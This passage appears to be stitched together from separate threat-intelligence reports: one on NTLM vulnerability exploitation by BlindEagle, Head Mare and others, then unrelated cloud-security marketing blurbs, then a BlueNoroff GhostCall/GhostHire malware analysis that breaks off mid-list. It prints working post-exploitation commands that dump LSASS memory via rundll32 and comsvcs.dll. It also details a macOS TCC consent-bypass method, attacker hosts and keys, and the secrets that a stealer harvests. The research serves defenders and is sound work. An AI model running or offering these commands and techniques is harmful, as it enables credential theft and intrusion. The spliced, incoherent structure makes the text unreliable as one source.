BlindEagle is an APT threat actor targeting Latin American entities, which is known for their versatile campaigns that mix espionage and financial attacks. In late November 2024, the group started a new attack targeting Colombian entities, using the Windows vulnerability CVE-2024-43451 to distribute Remcos RAT. BlindEagle created .url files as a novel initial dropper. These files were delivered through phishing emails impersonating Colombian government and judicial entities and using alleged legal issues as a lure. Once the recipients were convinced to download the malicious file, simply interacting with it would trigger a request to a WebDAV server controlled by the attackers, from which a modified version of Remcos RAT was downloaded and executed. This version contained a module dedicated to stealing cryptocurrency wallet credentials.

The attackers executed the malware automatically by specifying port 80 in the UNC path. This allowed the connection to be made directly using the WebDAV protocol over HTTP, thereby bypassing an SMB connection. This type of connection also leaks NTLM hashes. However, we haven’t seen any subsequent usage of these hashes.

Following this campaign and throughout 2025, the group persisted in launching multiple attacks using the same initial attack vector (.url files) and continued to distribute Remcos RAT.

We detected more than 60 .url files used as initial droppers in BlindEagle campaigns. These were sent in emails impersonating Colombian judicial authorities. All of them communicated via WebDAV with servers controlled by the group and initiated the attack chain that used ShadowLadder or Smoke Loader to finally load Remcos RAT in memory.

Head Mare campaigns against Russian targets abusing CVE-2024-43451

Another attack detected after the Microsoft disclosure involves the hacktivist group Head Mare. This group is known for perpetrating attacks against Russian and Belarusian targets.

In past campaigns, Head Mare exploited various vulnerabilities as part of its techniques to gain initial access to its victims’ infrastructure. This time, they used CVE 2024-43451. The group distributed a ZIP file via phishing emails under the name “Договор на предоставление услуг №2024-34291” (“Service Agreement No. 2024-34291”). This had a .url file named “Сопроводительное письмо.docx” (translated as “Cover letter.docx”).

The .url file connected to a remote SMB server controlled by the group under the domain:

document-file[.]ru/files/documents/zakupki/MicrosoftWord.exe

The domain resolved to the IP address 45.87.246.40 belonging to the ASN 212165, used by the group in the campaigns previously reported by our team.

According to our telemetry data, the ZIP file was distributed to more than a hundred users, 50% of whom belong to the manufacturing sector, 35% to education and science, and 5% to government entities, among other sectors. Some of the targets interacted with the .url file.

To achieve their goals at the targeted companies, Head Mare used a number of publicly available tools, including open-source software, to perform lateral movement and privilege escalation, forwarding the leaked hashes. Among these tools detected in previous attacks are Mimikatz, Secretsdump, WMIExec, and SMBExec, with the last three being part of the Impacket suite tool.

In this campaign, we detected attempts to exploit the vulnerability CVE-2023-38831 in WinRAR, used as an initial access in a campaign that we had reported previously, and in two others, we found attempts to use tools related to Impacket and SMBMap.

The attack, in addition to collecting NTLM hashes, involved the distribution of the PhantomCore malware, part of the group’s arsenal.

CVE-2025-24054/CVE-2025-24071

CVE-2025-24071 and CVE-2025-24054, initially registered as two different vulnerabilities, but later consolidated under the second CVE, is an NTLM hash leak vulnerability affecting multiple Windows versions, including Windows 11 and Windows Server. The vulnerability is primarily exploited through specially crafted files, such as .library-ms files, which cause the system to initiate NTLM authentication requests to attacker-controlled servers.

This exploitation is similar to CVE-2024-43451 and requires little to no user interaction (such as previewing a file), enabling attackers to capture NTLMv2 hashes and gain unauthorized access or escalate privileges within the network. The most common and widespread exploitation of this vulnerability occurs with .library-ms files inside ZIP/RAR archives, as it is easy to trick users into opening or previewing them. In most incidents we observed, the attackers used ZIP archives as the distribution vector.

Trojan distribution in Russia via CVE-2025-24054

In Russia, we identified a campaign distributing malicious ZIP archives with the subject line “акт_выполненных_работ_апрель” (certificate of work completed April). These files inside the archives masqueraded as .xls spreadsheets but were in fact .library-ms files that automatically initiated a connection to servers controlled by the attackers. The malicious files contained the same embedded server IP address 185.227.82.72.

When the vulnerability was exploited, the file automatically connected to that server, which also hosted versions of the AveMaria Trojan (also known as Warzone) for distribution. AveMaria is a remote access Trojan (RAT) that gives attackers remote control to execute commands, exfiltrate files, perform keylogging, and maintain persistence.

CVE-2025-33073

CVE-2025-33073 is a high-severity NTLM reflection vulnerability in the Windows SMB client’s access control. An authenticated attacker within the network can manipulate SMB authentication, particularly via local relay, to coerce a victim’s system into authenticating back to itself as SYSTEM. This allows the attacker to escalate privileges and execute code at the highest level.

The vulnerability relies on a flaw in how Windows determines whether a connection is local or remote. By crafting a specific DNS hostname that partially overlaps with the machine’s own name, an attacker can trick the system into believing the authentication request originates from the same host. When this happens, Windows switches into a “local authentication” mode, which bypasses the normal NTLM challenge-response exchange and directly injects the user’s token into the host’s security subsystem. If the attacker has coerced the victim into connecting to the crafted hostname, the token provided is essentially the machine’s own, granting the attacker privileged access on the host itself.

This behavior emerges because the NTLM protocol sets a special flag and context ID whenever it assumes the client and server are the same entity. The attacker’s manipulation causes the operating system to treat an external request as internal, so the injected token is handled as if it were trusted. This self-reflection opens the door for the adversary to act with SYSTEM-level privileges on the target machine.

Suspicious activity in Uzbekistan involving CVE-2025-33073

We have detected suspicious activity exploiting the vulnerability on a target belonging to the financial sector in Uzbekistan.

We have obtained a traffic dump related to this activity, and identified multiple strings within this dump that correspond to fragments related to NTLM authentication over SMB. The dump contains authentication negotiations showing SMB dialects, NTLMSSP messages, hostnames, and domains. In particular, the indicators:

• The hostname localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, a manipulated hostname used to trick Windows into treating the authentication as local
• The presence of the IPC$ resource share, common in NTLM relay/reflection attacks, because it allows an attacker to initiate authentication and then perform actions reusing that authenticated session

The incident began with exploitation of the NTLM reflection vulnerability. The attacker used a crafted DNS record to coerce the host into authenticating against itself and obtain a SYSTEM token. After that, the attacker checked whether they had sufficient privileges to execute code using batch files that ran simple commands such as whoami:

%COMSPEC% /Q /c echo whoami ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

Persistence was then established by creating a suspicious service entry in the registry under:

reg:\\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\YlHXQbXO

With SYSTEM privileges, the attacker attempted several methods to dump LSASS (Local Security Authority Subsystem Service) memory:

1. Using rundll32.exe:
   

   C:\Windows\system32\cmd.exe /Q /c CMD.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\vdpk2Y.sav full

   The command locates the lsass.exe process, which holds credentials in memory, extracts its PID, and invokes an internal function of comsvcs.dll to dump LSASS memory and save it. This technique is commonly used in post-exploitation (e.g., Mimikatz or other “living off the land” tools).
2. Loading a temporary DLL (BDjnNmiX.dll):
   

   C:\Windows\system32\cmd.exe /Q /c cMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tAsKLISt /fi "Imagename eq lSAss.ex*" | find "lsass""') do rundll32.exe C:\Windows\Temp\BDjnNmiX.dll #+0000^24 ^%B \Windows\Temp\sFp3bL291.tar.log full

   The command tries to dump the LSASS memory again, but this time using a custom DLL.
3. Running a PowerShell script (Base64-encoded):
   The script leverages MiniDumpWriteDump via reflection. It uses the Out-Minidump function that writes a process dump with all process memory to disk, similar to running procdump.exe.

Several minutes later, the attacker attempted lateral movement by writing to the administrative share of another host, but the attempt failed. We didn’t see any evidence of further activity.

Protection and recommendations

Disable/Limit NTLM

As long as NTLM remains enabled, attackers can exploit vulnerabilities in legacy authentication methods. Disabling NTLM, or at the very least limiting its use to specific, critical systems, significantly reduces the attack surface. This change should be paired with strict auditing to identify any systems or applications still dependent on NTLM, helping ensure a secure and seamless transition.

Implement message signing

NTLM works as an authentication layer over application protocols such as SMB, LDAP, and HTTP. Many of these protocols offer the ability to add signing to their communications. One of the most effective ways to mitigate NTLM relay attacks is by enabling SMB and LDAP signing. These security features ensure that all messages between the client and server are digitally signed, preventing attackers from tampering with or relaying authentication traffic. Without signing, NTLM credentials can be intercepted and reused by attackers to gain unauthorized access to network resources.

Enable Extended Protection for Authentication (EPA)

EPA ties NTLM authentication to the underlying TLS or SSL session, ensuring that captured credentials cannot be reused in unauthorized contexts. This added validation can be applied to services such as web servers and LDAP, significantly complicating the execution of NTLM relay attacks.

Monitor and audit NTLM traffic and authentication logs

Regularly reviewing NTLM authentication logs can help identify abnormal patterns, such as unusual source IP addresses or an excessive number of authentication failures, which may indicate potential attacks. Using SIEM tools and network monitoring to track suspicious NTLM traffic enhances early threat detection and enables a faster response.

Conclusions

In 2025, NTLM remains deeply entrenched in Windows environments, continuing to offer cybercriminals opportunities to exploit its long-known weaknesses. While Microsoft has announced plans to phase it out, the protocol’s pervasive presence across legacy systems and enterprise networks keeps it relevant and vulnerable. Threat actors are actively leveraging newly disclosed flaws to refine credential relay attacks, escalate privileges, and move laterally within networks, underscoring that NTLM still represents a major security liability.

The surge of NTLM-focused incidents observed throughout 2025 illustrates the growing risks of depending on outdated authentication mechanisms. To mitigate these threats, organizations must accelerate deprecation efforts, enforce regular patching, and adopt more robust identity protection frameworks. Otherwise, NTLM will remain a convenient and recurring entry point for attackers.

In the race to secure cloud infrastructure, intrusion prevention systems (IPS) remain one of the most critical yet complex at the cloud network layer of defense. For many organizations, deploying IPS in the cloud is a balancing act between agility and control.

Learn why managing cloud risk demands unified visibility, continuous risk assessment, and efficient security operations. Discover how a full-featured CNAPP like Trend Vision One™ Cloud Security enables organizations to move from reactive to proactive cloud protection.

Unified visibility, proactive intelligence, and proven leadership in network analysis and visibility.

Introduction

Primarily focused on financial gain since its appearance, BlueNoroff (aka. Sapphire Sleet, APT38, Alluring Pisces, Stardust Chollima, and TA444) has adopted new infiltration strategies and malware sets over time, but it still targets blockchain developers, C-level executives, and managers within the Web3/blockchain industry as part of its SnatchCrypto operation. Earlier this year, we conducted research into two malicious campaigns by BlueNoroff under the SnatchCrypto operation, which we dubbed GhostCall and GhostHire.

GhostCall heavily targets the macOS devices of executives at tech companies and in the venture capital sector by directly approaching targets via platforms like Telegram, and inviting potential victims to investment-related meetings linked to Zoom-like phishing websites. The victim would join a fake call with genuine recordings of this threat’s other actual victims rather than deepfakes. The call proceeds smoothly to then encourage the user to update the Zoom client with a script. Eventually, the script downloads ZIP files that result in infection chains deployed on an infected host.

In the GhostHire campaign, BlueNoroff approaches Web3 developers and tricks them into downloading and executing a GitHub repository containing malware under the guise of a skill assessment during a recruitment process. After initial contact and a brief screening, the user is added to a Telegram bot by the recruiter. The bot sends either a ZIP file or a GitHub link, accompanied by a 30-minute time limit to complete the task, while putting pressure on the victim to quickly run the malicious project. Once executed, the project downloads a malicious payload onto the user’s system. The payload is specifically chosen according to the user agent, which identifies the operating system being used by the victim.

We observed the actor utilizing AI in various aspects of their attacks, which enabled them to enhance productivity and meticulously refine their attacks. The infection scheme observed in GhostHire shares structural similarities of infection chains with the GhostCall campaign, and identical malware was detected in both.

We have been tracking these two campaigns since April 2025, particularly observing the continuous emergence of the GhostCall campaign’s victims on platforms like X. We hope our research will help prevent further damage, and we extend our gratitude to everyone who willingly shared relevant information.

The relevant information about GhostCall has already been disclosed by Microsoft, Huntability, Huntress, Field Effect, and SentinelOne. However, we cover newly discovered malware chains and provide deeper insights.

The GhostCall campaign

The GhostCall campaign is a sophisticated attack that uses fake online calls with the threat actors posing as fake entrepreneurs or investors to convince targets. GhostCall has been active at least since mid-2023, potentially following the RustBucket campaign, which marked BlueNoroff’s full-scale shift to attacking macOS systems. Windows was the initial focus of the campaign; it soon shifted to macOS to better align with the targets’ predominantly macOS environment, leveraging deceptive video calls to maximize impact.

The GhostCall campaign employs sophisticated fake meeting templates and fake Zoom updaters to deceive targets. Historically, the actor often used excuses related to IP access control, but shifted to audio problems to persuade the target to download the malicious AppleScript code to fix it. Most recently, we observed the actor attempting to transition the target platform from Zoom to Microsoft Teams.

During this investigation, we identified seven distinct multi-component infection chains, a stealer suite, and a keylogger. The modular stealer suite gathers extensive secret files from the host machine, including information about cryptocurrency wallets, Keychain data, package managers, and infrastructure setups. It also captures details related to cloud platforms and DevOps, along with notes, an API key for OpenAI, collaboration application data, and credentials stored within browsers, messengers, and the Telegram messaging app.

Initial access

The actor reaches out to targets on Telegram by impersonating venture capitalists and, in some cases, using compromised accounts of real entrepreneurs and startup founders. In their initial messages, the attackers promote investment or partnership opportunities. Once contact is established with the target, they use Calendly to schedule a meeting and then share a meeting link through domains that mimic Zoom. Sometimes, they may send the fake meeting link directly via messages on Telegram. The actor also occasionally uses Telegram’s hyperlink feature to hide phishing URLs and disguise them as legitimate URLs.

Upon accessing the fake site, the target is presented with a page carefully designed to mirror the appearance of Zoom in a browser. The page uses standard browser features to prompt the user to enable their camera and enter their name. Once activated, the JavaScript logic begins recording and sends a video chunk to the /upload endpoint of the actor’s fake Zoom domain every second using the POST method.

Once the target joins, a screen resembling an actual Zoom meeting appears, showing the video feeds of three participants as if they were part of a real session. Based on OSINT we were monitoring, many victims initially believed the videos they encountered were generated by deepfake or AI technology. However, our research revealed that these videos were, in fact, real recordings secretly taken from other victims who had been targeted by the same actor using the same method. Their webcam footage had been unknowingly recorded, then uploaded to attacker-controlled infrastructure, and reused to deceive other victims, making them believe they were participating in a genuine live call. When the video replay ended, the page smoothly transitioned to showing that user’s profile image, maintaining the illusion of a live call.

Approximately three to five seconds later, an error message appears below the participants’ feeds, stating that the system is not functioning properly and prompting them to download a Zoom SDK update file through a link labeled “Update Now”. However, rather than providing an update, the link downloads a malicious AppleScript file onto macOS and triggers a popup for troubleshooting on Windows.

On macOS, clicking the link directly downloads an AppleScript file named Zoom SDK Update.scpt from the actor’s domain. A small “Downloads” coach mark is also displayed, subtly encouraging the user to execute the script by imitating genuine Apple feedback. On Windows, the attack uses the ClickFix technique, where a modal window appears with a seemingly harmless code snippet from a legitimate domain. However, any attempt to copy the code – via the Copy button, right-click and Copy, or Ctrl+C – results in a malicious one-liner being placed in the clipboard instead.

We observed that the actor implemented beaconing activity within the malicious web page to track victim interactions. The page reports back to their backend infrastructure – likely to assess the success or failure of the targeting. This is accomplished through a series of automatically triggered HTTP GET requests when the victim performs specific actions, as outlined below.

Endpoint	Trigger	Purpose
/join/{id}/{token}	User clicks Join on the pre-join screen	Track whether the victim entered the meeting
/action/{id}/{token}	Update / Troubleshooting SDK modal is shown	Track whether the victim clicked on the update prompt
/action1/{id}/{token}	User uses any copy-and-paste method to copy modal window contents	Confirm the clipboard swap likely succeeded
/action2/{id}/{token}	User closes modal	Track whether the victim closed the modal

In September 2025, we discovered that the group is shifting from cloning the Zoom UI in their attacks to Microsoft Teams. The method of delivering malware (via a phishing page) remains unchanged.

Upon entering the meeting room, a prompt specific to the target’s operating system appears almost immediately after the background video starts – unlike before. While this is largely similar to Zoom, macOS users also see a separate prompt asking them to download the SDK file.

We were able to obtain the AppleScript (Zoom SDK Update.scpt) the actor claimed was necessary to resolve the issue, which was already widely known through numerous research studies as the entry point for the attack. The script is disguised as an update for the Zoom Meeting SDK and contains nearly 10,000 blank lines that obscure its malicious content. Upon execution, it fetches another AppleScript, which acts as a downloader, from a different fake link using a curl command. There are numerous variants of this “troubleshooting” AppleScript, differing in filename, user agent, and contents.

If the targeted macOS version is 11 (Monterey) or later, the downloader AppleScript installs a fake application disguised as Zoom or Microsoft Teams into the /private/tmp directory. The application attempts to mimic a legitimate update for Zoom or Teams by displaying a password input popup. Additionally, it downloads a next-stage AppleScript, which we named “DownTroy”. This script is expected to check stored passwords and use them to install additional malware with root privileges. We cautiously assess that this would be an evolved version of the older one, disclosed by Huntress.

Moreover, the downloader script includes a harvesting function that searches for files associated with password management applications (such as Bitwarden, LastPass, 1Password, and Dashlane), the default Notes app (group.com.apple.notes), note-taking apps like Evernote, and the Telegram application installed on the device.

Another notable feature of the downloader script is a bypass of TCC (Transparency, Consent, and Control), a macOS system designed to manage user consent for accessing sensitive resources such as the camera, microphone, AppleEvents/automation, and protected folders like Documents, Downloads, and Desktop. The script works by renaming the user’s com.apple.TCC directory and then performing offline edits to the TCC.db database. Specifically, it removes any existing entries in the access table related to a client path to be registered in the TCC database and executes INSERT OR REPLACE statements. This process enables the script to grant AppleEvents permissions for automation and file access to a client path controlled by the actor. The script inserts rows for service identifiers used by TCC, including kTCCServiceAppleEvents, kTCCServiceSystemPolicyDocumentsFolder, kTCCServiceSystemPolicyDownloadsFolder, and kTCCServiceSystemPolicyDesktopFolder, and places a hex-encoded code-signature blob (in the csreq style) in the database to meet the requirement for access to be granted. This binary blob must be bound to the target app’s code signature and evaluated at runtime. Finally, the script attempts to rename the TCC directory back to its original name and calls tccutil reset DeveloperTool.

In the sample we analyzed, the client path is ~/Library/Google/Chrome Update – the location the actor uses for their implant. In short, this allows the implant to control other applications, access data from the user’s Documents, Downloads, and Desktop folders, and execute AppleScripts – all without prompting for user consent.

Multi-stage execution chains

According to our telemetry and investigation into the actor’s infrastructure, DownTroy would download ZIP files that contain various individual infection chains from the actor’s centralized file hosting server. Although we haven’t observed how the SysPhon and the SneakMain chain were installed, we suspect they would’ve been downloaded in the same manner. We have identified not only at least seven multi-stage execution chains retrieved from the server, but also various malware families installed on the infected hosts, including keyloggers and stealers downloaded by CosmicDoor and RooTroy chains.

Num	Execution chain/Malware	Components	Source
1	ZoomClutch	(standalone)	File hosting server
2	DownTroy v1 chain	Launcher, Dropper, DownTroy.macOS	File hosting server
3	CosmicDoor chain	Injector, CosmicDoor.macOS in Nim	File hosting server
4	RooTroy chain	Installer, Loader, Injector, RooTroy.macOS	File hosting server
5	RealTimeTroy chain	Injector, RealTimeTroy.macOS in Go	Unknown, obtained from multiscanning service
6	SneakMain chain	Installer, Loader, SneakMain.macOS	Unknown, obtained from infected hosts
7	DownTroy v2 chain	Installer, Loader, Dropper, DownTroy.macOS	File hosting server
8	SysPhon chain	Installer, SysPhone backdoor	Unknown, obtained from infected hosts

The actor has been introducing new malware chains by adapting new programming languages and developing new components since 2023. Before that, they employed standalone malware families, but later evolved into a modular structure consisting of launchers, injectors, installers, loaders, and droppers. This modular approach enables the malicious behavior to be divided into smaller components, making it easier to bypass security products and evade detection. Most of the final payloads in these chains have the capability to download additional AppleScript files or execute commands to retrieve subsequent-stage payloads.

Interestingly, the actor initially favored Rust for writing malware but ultimately switched to the Nim language. Meanwhile, other programming languages like C++, Python, Go, and Swift have also been utilized. The C++ language was employed to develop the injector malware as well as the base application within the injector, but the application was later rewritten in Swift. Go was also used to develop certain components of the malware chain, such as the installer and dropper, but these were later switched to Nim as well.

ZoomClutch/TeamsClutch: the fake Zoom/Teams application

During our research of a macOS intrusion on a victim’s machine, we found a suspicious application resembling a Zoom client executing from an atypical, writable path – /tmp/zoom.app/Contents/MacOS – rather than the standard /Applications directory. Analysis showed that the binary was not an official Zoom build but a custom implant compiled on macOS 14.5 (24F74) with Xcode 16 beta 2 (16C5032a) against the macOS 15.2 SDK. The app is ad‑hoc signed, and its bundle identifier is hard‑coded to us.zoom.com to mimic the legitimate client.

The implant is written in Swift and functions as a macOS credentials harvester, disguised as the Zoom videoconferencing application. It features a well-developed user interface using Swift’s modern UI frameworks that closely mimics the Zoom application icon, Apple password prompts, and other authentic elements.

ZoomClutch steals macOS passwords by displaying a fake Zoom dialog, then sends the captured credentials to the C2 server. However, before exfiltrating the data, ZoomClutch first validates the credentials locally using Apple’s Open Directory (OD) to filter out typos and incorrect entries, mirroring macOS’s own authentication flow. OD manages accounts and authentication processes for both local and external directories. Local user data sits at /var/db/dslocal/nodes/Default/users/ as plists with PBKDF2‑SHA512  hashes. The malware creates an ODSession, then opens a local ODNode via kODNodeTypeLocalNodes (0x2200/8704) to scope operations to /Local/Default.

It subsequently calls verifyPassword:error: to check the password, which re-hashes the input password using the stored salt and iterations, returning true if there is a match. If verification fails, ZoomClutch re-prompts the user and shortly displays a “wrong password” popup with a shake animation. On success, it hides the dialog, displays a “Zoom Meeting SDK has been updated successfully” message, and the validated credentials are covertly sent to the C2 server.

All passwords entered in the prompt are logged to ~/Library/Logs/keybagd_events.log. The malware then creates a file at ~/Library/Logs/<username>_auth.log to store the verified password in plain text. This file is subsequently uploaded to a C2 URL using curl.

With medium-high confidence, we assess that the malware was part of BlueNoroff’s workflow needed to initiate the execution flow outlined in the subsequent infection chains.

The TeamsClutch malware that mimics a legitimate Microsoft Teams functions similarly to ZoomClutch, but with its logo and some text elements replaced.

DownTroy v1 chain

The DownTroy v1 chain consists of a launcher and a dropper, which ultimately loads the DownTroy.macOS malware written in AppleScript.

• Dropper: a dropper file named "trustd", written in Go
• Launcher: a launcher file named "watchdog", written in Go
• Final payload: DownTroy.macOS written in AppleScript

The dropper operates in two distinct modes: initialization and operational. When the binary is executed with a machine ID (mid) as the sole argument, it enters initialization mode and updates the configuration file located at ~/Library/Assistant/CustomVocabulary/com.applet.safari/local_log using the provided mid and encrypts it with RC4. It then runs itself without any arguments to transition into operational mode. In case the binary is launched without any arguments, it enters operational mode directly. In this mode, it retrieves the previously saved configuration and uses the RC4 key NvZGluZz0iVVRGLTgiPz4KPCF to decrypt it. It is important to note that the mid value must first be included in the configuration during initialization mode, as it is essential for subsequent actions.

It then decodes a hard-coded, base64-encoded string associated with DownTroy.macOS. This AppleScript contains a placeholder value, %mail_id%, which is replaced with the initialized mid value from the configuration. The modified script is saved to a temporary file named local.lock within the <BasePath> directory from the configuration, with 0644 permissions applied, meaning that only the script owner can modify it. The malware then uses osascript to execute DownTroy.macOS and sets Setpgid=1 to isolate the process group. DownTroy.macOS is responsible for downloading additional scripts from its C2 server until the system is rebooted.

The dropper implements a signal handling procedure to monitor for termination attempts. Initially, it reads the entire trustd (itself) and watchdog binary files into memory, storing them in a buffer before deleting the original files. Upon receiving a SIGINT or SIGTERM signal indicating that the process should terminate, the recovery mechanism activates to maintain persistence. While SIGINT is a signal used to interrupt a running process by the user from the terminal using the keyboard shortcut Ctrl + C, SIGTERM is a signal that requests a process to terminate gracefully.

The recovery mechanism begins by recreating the <BasePath> directory with intentionally insecure 0777 permissions (meaning that all users have the read, write, and execute permissions). Next, it writes both binaries back to disk from memory, assigning them executable permissions (0755), and also creates a plist file to ensure the automatic restart of this process chain.

• trustd: trustd in the <BasePath> directory
• watchdog: ~/Library/Assistant/SafariUpdate and watchdog in the <BasePath> directory
• plist: ~/Library/LaunchAgents/com.applet.safari.plist

The contents of the plist file are hard-coded into the dropper in base64-encoded form. When decoded, the template represents a standard macOS LaunchAgent plist containing the placeholder tokens #path and #label. The malware replaces these tokens to customize the template. The final plist configuration ensures the launcher automatic execution by setting RunAtLoad to true (starts at login), KeepAlive to true (restarts if terminated), and LaunchOnlyOnce to true.

• #path is replaced with the path to the copied watchdog
• #label is replaced with com.applet.safari to masquerade as a legitimate Safari-related component

The main feature of the discovered launcher is its ability to load the same configuration file located at ~/Library/Assistant/CustomVocabulary/com.applet.safari/local_log. It reads the file and uses the RC4 algorithm to decrypt its contents with the same hard-coded 25-byte key: NvZGluZz0iVVRGLTgiPz4KPCF. After decryption, the loader extracts the <BasePath> value from the JSON object, which specifies the location of the next payload. It then executes a file named trustd from this path, disguising it as a legitimate macOS system process.

We identified another version of the loader, distinguished by the configuration path that contains the <BasePath> – this time, the configuration file was located at /Library/Graphics/com.applet.safari/local_log. The second version is used when the actor has gained root-level permissions, likely achieved through ZoomClutch during the initial infection.

CosmicDoor chain

The CosmicDoor chain begins with an injector malware that we have named “GillyInjector” written in C++, which was also described by Huntress and SentinelOne. This malware includes an encrypted baseApp and an encrypted malicious payload.

• Injector: GillyInjector written in C++
• BaseApp: a benign application written in C++ or Swift
• Final payload: CosmicDoor.macOS written in Nim

The syscon.zip file downloaded from the file hosting server contains the “a” binary that has been identified as GillyInjector designed to run a benign Mach-O app and inject a malicious payload into it at runtime. Both the injector and the benign application are ad-hoc signed, similar to ZoomClutch. GillyInjector employs a technique known as Task Injection, a rare and sophisticated method observed on macOS systems.

The injector operates in two modes: wiper mode and injector mode. When executed with the --d flag, GillyInjector activates its destructive capabilities. It begins by enumerating all files in the current directory and securely deleting each one. Once all files in the directory are unrecoverably wiped, GillyInjector proceeds to remove the directory itself. When executed with a filename and password, GillyInjector operates as a process injector. It creates a benign application with the given filename in the current directory and uses the provided password to derive an AES decryption key.

The benign Mach-O application and its embedded payload are encrypted with a customized AES-256 algorithm in ECB mode (although similar to the structure of the OFB mode) and then base64-encoded. To decrypt, the first 16 bytes of the encoded string are extracted as the salt for a PBKDF2 key derivation process. This process uses 10,000 iterations, and a user-provided password to generate a SHA-256-based key. The derived key is then used to decrypt the base64-decoded ciphertext that follows.

The ultimately injected payload is identified as CosmicDoor.macOS, written in Nim. The main feature of CosmicDoor is that it communicates with the C2 server using the WSS protocol, and it provides remote control functionality such as receiving and executing commands.

Our telemetry indicates that at least three versions of CosmicDoor.macOS have been detected so far, each written in different cross-platform programming languages, including Rust, Python, and Nim. We also discovered that the Windows variant of CosmicDoor was developed in Go, demonstrating that the threat actor has actively used this malware across both Windows and macOS environments since 2023. Based on our investigation, the development of CosmicDoor likely followed this order: CosmicDoor.Windows in Go → CosmicDoor.macOS in Rust → CosmicDoor in Python → CosmicDoor.macOS in Nim. The Nim version, the most recently identified, stands out from the others primarily due to its updated execution chain, including the use of GillyInjector.

Except for the appearance of the injector, the differences between the Windows version and other versions are not significant. On Windows, the fourth to sixth characters of all RC4 key values are initialized to 123. In addition, the CosmicDoor.macOS version, written in Nim, has an updated value for COMMAND_KEY.

	CosmicDoor.macOS in Nim	CosmicDoor in Python, CosmicDoor.macOS in Rust	CosmicDoor.Windows in Go
SESSION_KEY	3LZu5H$yF^FSwPu3SqbL*sK	3LZu5H$yF^FSwPu3SqbL*sK	3LZ123$yF^FSwPu3SqbL*sK
COMMAND_KEY	lZjJ7iuK2qcmMW6hacZOw62	jubk$sb3xzCJ%ydILi@W8FH	jub123b3xzCJ%ydILi@W8FH
AUTH_KEY	Ej7bx@YRG2uUhya#50Yt*ao	Ej7bx@YRG2uUhya#50Yt*ao	Ej7123YRG2uUhya#50Yt*ao

The same command scheme is still in use, but other versions implement only a few of the commands available on Windows. Notably, commands such as 345, 90, and 45 are listed in the Python implementation of CosmicDoor, but their actual code has not been implemented.

Command	Description	CosmicDoor.macOS in Rust and Nim	CosmicDoor in Python	CosmicDoor.Windows in Go
234	Get device information	O	O	O
333	No operation	–	–	O
44	Update configuration	–	–	O
78	Get current work directory	O	O	O
1	Get interval time	–	–	O
12	Execute commands	O	O	O
34	Set current work directory	O	O	O
345	(DownExec)	–	O (but, not implemented)	–
90	(Download)	–	O (but, not implemented)	–
45	(Upload)	–	O (but, not implemented)	–

SilentSiphon: a stealer suite for harvesting

During our investigation, we discovered that CosmicDoor downloads a stealer suite composed of various bash scripts, which we dubbed “SilentSiphon”. In most observed infections, multiple bash shell scripts were created on infected hosts shortly after the installation of CosmicDoor. These scripts were used to collect and exfiltrate data to the actor’s C2 servers.

The file named upl.sh functions as an orchestration launcher, which aggregates multiple standalone data-extraction modules identified on the victim’s system.

upl.sh
├── cpl.sh
├── ubd.sh
├── secrets.sh
├── uad.sh
├── utd.sh

The launcher first uses the command who | tail -n1 | awk '{print $1}' to identify the username of the currently logged-in macOS user, thus ensuring that all subsequent file paths are resolved within the ongoing active session – regardless of whether the script is executed by another account or via Launch Agents. However, both the hard-coded C2 server and the username can be modified with the -h and -u flags, a feature consistent with other modules analyzed in this research. The orchestrator executes five embedded modules located in the same directory, removing each immediately after it completes exfiltration.

The stealer suite harvests data from the compromised host as follows:

1. upl.sh is the orchestrator and Apple Notes stealer.
   It targets Apple Notes at /private/var/tmp/group.com.apple.notes.
   It stores the data at /private/var/tmp/notes_<username>.
2. cpl.sh is the browser extension stealer module.
   It targets:

• Local storage for extensions: the entire “Local Extension Settings” directory of Chromium-based web browsers, such as Chrome, Brave, Arc, Edge, and Ecosia
• Browser’s built-in database: directories corresponding to Exodus Web3 Wallet, Coinbase Wallet extension, Crypto.com Onchain Extension, Manta Wallet, 1Password, and Sui wallet in the “IndexedDB” directory
• Extension list: the list of installed extensions in the “Extensions” directory
  Stores the data at /private/var/tmp/cpl_<username>/<browser>/*

ubd.sh is the browser credentials and macOS Keychains stealer module.
It targets:

• Credentials stored in the browsers: Local State, History, Cookies, Sessions, Web Data, Bookmarks, Login Data, Session Storage, Local Storage, and IndexedDB directories of Chromium-based web browsers, such as Chrome, Brave, Arc, Edge, and Ecosia
• Credentials in the Keychain: /Library/Keychains/System.keychain and ~/Library/Keychains/login.keychain-db
  It stores the data at /private/var/tmp/ubd_<username>/*

secrets.sh is the secrets stealer module.
It targets:

• Version Control: GitHub (.config/gh), GitLab (.config/glab-cli), and Bitbucket (.bit/config)
• Package manager: npm (.npmrc), Yarn (.yarnrc.yml), Python pip (.pypirc), RubyGems (.gem/credentials), Rust cargo (.cargo/credentials), and .NET Nuget (.nuget/NuGet.Config)
• Cloud/Infrastructure: AWS (.aws), Google Cloud (.config/gcloud), Azure (.azure), Oracle Cloud (.oci), Akamai Linode (.config/linode-cli), and DigitalOcean API (.config/doctl/config.yaml)
• Cloud Application Platform: Vercel (.vercel), Cloudflare (.wrangler/config), Netlify (.netfily), Stripe (.config/stripe/config.toml), Firebase (.config/configstore/firebase-tools.json), Twilio (.twilio-cli)
• DevOps/IaC: CircleCI (.circleci/cli.yml), Pulumi (.pulumi/credentials.json), and HashiCorp (.vault-token)
• Security/Authentication: SSH (.ssh) and FTP/cURL/Wget (.netrc)
• Blockchain Related: Sui Blockchain (.sui), Solana (.config/solana), NEAR Blockchain (.near-credentials), Aptos Blockchain (.aptos), and Algorand (.algorand)
• Container Related: Docker (.docker) and Kubernetes (.kube)
• AI: OpenAI (.openai)
  It stores the data at /private/var/tmp/secrets_backup_<current time>/<username>/*

uad.sh is the password‑vault stealer module
It targets:

• Password manager: 1Password 8, 1Password 7, Bitwarden, LastPass, and Dashlane
• Note-taking: Evernote and Notion
• Collaboration suites: Slack
• Messenger: Skype (inactive), WeChat (inactive), and WhatsApp (inactive)
• Cryptocurrency: Ledger Live, Hiro StacksWallet, Tonkeeper, MyTonWallet, and MetaMask (inactive)
• Remote Monitoring and Management: AnyDesk
